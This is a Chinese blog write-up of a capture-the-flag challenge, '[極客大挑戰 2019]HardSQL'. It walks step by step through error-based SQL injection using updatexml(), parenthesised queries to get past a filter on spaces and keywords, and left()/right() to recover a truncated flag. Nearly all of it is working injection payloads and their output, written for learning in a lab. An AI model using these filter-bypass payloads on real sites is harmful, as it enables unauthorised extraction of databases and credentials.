[極客大挑戰 2019]HardSQL 1

TazmiDev發表於2024-11-08

[極客大挑戰 2019]HardSQL 1

開啟例項,發現是個登陸頁面,檢視原始碼,發現又是GET提交check.php

image-20241108154850115

萬能密碼嘗試

image-20241108160504284.png

不太行,懷疑欄位或者空格被過濾,嘗試閉合不加其他東西

確認空格、union、and等都被過濾了,嘗試加個括號

image-20241108161347316

未出現你可知被我速住了,臭弟弟字樣,()未被過濾吧,嘗試採用updatexml()函式,構造payload(查庫):

?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=admin

成功拿到當前資料庫名geek,確定為XPATH報錯注入

查表

?username=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=admin

image-20241108162722099

獲得表名H4rDsq1,查欄位

?username=1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

image-20241108163149370

回顯列太多,採用group_concat()包裹回顯欄位

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

成功獲得欄位列表:id username password

image-20241108163317986

查欄位資料

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password)))from(H4rDsq1)),0x7e),1))%23
&password=admin

成功看到flag,因為長度問題,這邊的flag顯示並不完整

image-20241108163946605

嘗試使用substring函式,發現被過濾

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password,0,100)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164218009

思考片刻,決定採用left()right()函式

首先先計算這邊的最大長度,為33個字元

image-20241108164634465

所以分兩次拿取flag

left(),拿區第一段

?username=1'or(updatexml(1,concat(0x7e,(select(concat(left(password,33)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164823571

flag{09f315c2-c334-4f3a-8de9-dc

right(),拿取第二段,第二段需要包含},經過多次嘗試為偏移31位

?username=1'or(updatexml(1,concat(0x7e,(select(concat(right(password,31)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108165157626

c2-c334-4f3a-8de9-dc6df0232a40}

去除重複的文字,最終flag為

flag{09f315c2-c334-4f3a-8de9-dc6df0232a40}

相關文章